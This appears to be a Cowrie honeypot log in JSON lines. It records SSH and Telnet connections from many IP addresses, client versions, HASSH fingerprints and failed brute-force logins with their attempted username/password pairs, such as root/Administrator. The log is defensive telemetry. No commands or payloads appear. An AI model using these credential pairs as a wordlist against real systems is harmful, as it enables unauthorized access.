{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.106129Z","src_ip":"80.66.85.226","session":"eeda7fd464b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.180913Z","src_ip":"36.92.41.115","session":"08a83796073b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avrillavigne","message":"login attempt [root/avrillavigne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.371114Z","src_ip":"80.66.85.226","session":"eeda7fd464b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":56796,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f83177bd848","protocol":"ssh","message":"New connection: 152.32.214.226:56796 (159.203.135.109:22) [session: 4f83177bd848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.492948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.497256Z","src_ip":"152.32.214.226","session":"4f83177bd848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.710930Z","src_ip":"152.32.214.226","session":"4f83177bd848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:56.461884Z","src_ip":"80.66.85.226","session":"eeda7fd464b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"will","password":"Password1","message":"login attempt [will/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:56.606761Z","src_ip":"152.32.214.226","session":"4f83177bd848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:57.823994Z","src_ip":"152.32.214.226","session":"4f83177bd848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39678,"dst_ip":"159.203.135.109","dst_port":23,"session":"e127e9c9439c","protocol":"telnet","message":"New connection: 172.81.62.90:39678 (159.203.135.109:23) [session: e127e9c9439c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:01.251541Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39682,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b9c33295025","protocol":"telnet","message":"New connection: 172.81.62.90:39682 (159.203.135.109:23) [session: 5b9c33295025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:03.112666Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"99893019a75f","protocol":"ssh","message":"New connection: 163.7.9.84:48196 (10.17.0.5:22) [session: 99893019a75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:10.592339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:10.596626Z","src_ip":"163.7.9.84","session":"99893019a75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:10.852607Z","src_ip":"163.7.9.84","session":"99893019a75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234!@#$","message":"login attempt [root/asd1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:11.909340Z","src_ip":"163.7.9.84","session":"99893019a75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:13.170358Z","src_ip":"163.7.9.84","session":"99893019a75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.33728885650635,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:14.852589Z","src_ip":"128.199.8.54","session":"c19b3dc1b55b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"06aebe6541b1","protocol":"ssh","message":"New connection: 38.93.206.2:40172 (10.17.0.5:22) [session: 06aebe6541b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:17.633975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:17.638639Z","src_ip":"38.93.206.2","session":"06aebe6541b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:17.689072Z","src_ip":"38.93.206.2","session":"06aebe6541b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270287","message":"login attempt [root/270287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:17.841806Z","src_ip":"38.93.206.2","session":"06aebe6541b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:18.896646Z","src_ip":"38.93.206.2","session":"06aebe6541b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44134,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ecff0add76","protocol":"ssh","message":"New connection: 27.71.230.31:44134 (10.17.0.5:22) [session: 82ecff0add76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:27.791561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:27.801082Z","src_ip":"27.71.230.31","session":"82ecff0add76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:28.319552Z","src_ip":"27.71.230.31","session":"82ecff0add76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:29.348239Z","src_ip":"27.71.230.31","session":"82ecff0add76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:30.751998Z","src_ip":"27.71.230.31","session":"82ecff0add76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56450,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd41ff3f1c46","protocol":"ssh","message":"New connection: 103.27.238.116:56450 (10.17.0.5:22) [session: bd41ff3f1c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:30.836938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:30.845197Z","src_ip":"103.27.238.116","session":"bd41ff3f1c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:31.125993Z","src_ip":"103.27.238.116","session":"bd41ff3f1c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nomore","message":"login attempt [root/nomore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:31.964902Z","src_ip":"103.27.238.116","session":"bd41ff3f1c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:33.244545Z","src_ip":"103.27.238.116","session":"bd41ff3f1c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b152bdf7e148","protocol":"telnet","message":"New connection: 172.81.62.90:56764 (159.203.135.109:23) [session: b152bdf7e148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:39.197848Z"}
{"eventid":"cowrie.session.closed","duration":38.5998158454895,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:39.851185Z","src_ip":"172.81.62.90","session":"e127e9c9439c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.73173952102661,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:42.844239Z","src_ip":"172.81.62.90","session":"5b9c33295025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":60162,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bce175987a7","protocol":"ssh","message":"New connection: 89.223.69.22:60162 (159.203.135.109:22) [session: 3bce175987a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:53.268796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:53.273161Z","src_ip":"89.223.69.22","session":"3bce175987a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:53.390122Z","src_ip":"89.223.69.22","session":"3bce175987a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d753c471be6","protocol":"telnet","message":"New connection: 172.81.62.90:56750 (159.203.135.109:23) [session: 4d753c471be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:53.664039Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"300684","message":"login attempt [root/300684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:53.741964Z","src_ip":"89.223.69.22","session":"3bce175987a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:54.861905Z","src_ip":"89.223.69.22","session":"3bce175987a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"47b41a54bdd3","protocol":"ssh","message":"New connection: 103.84.236.242:36180 (159.203.135.109:22) [session: 47b41a54bdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:55.885246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:55.892093Z","src_ip":"103.84.236.242","session":"47b41a54bdd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:56.120715Z","src_ip":"103.84.236.242","session":"47b41a54bdd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2026","message":"login attempt [dspace/dspace@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:49:57.081784Z","src_ip":"103.84.236.242","session":"47b41a54bdd3","protocol":"ssh"}
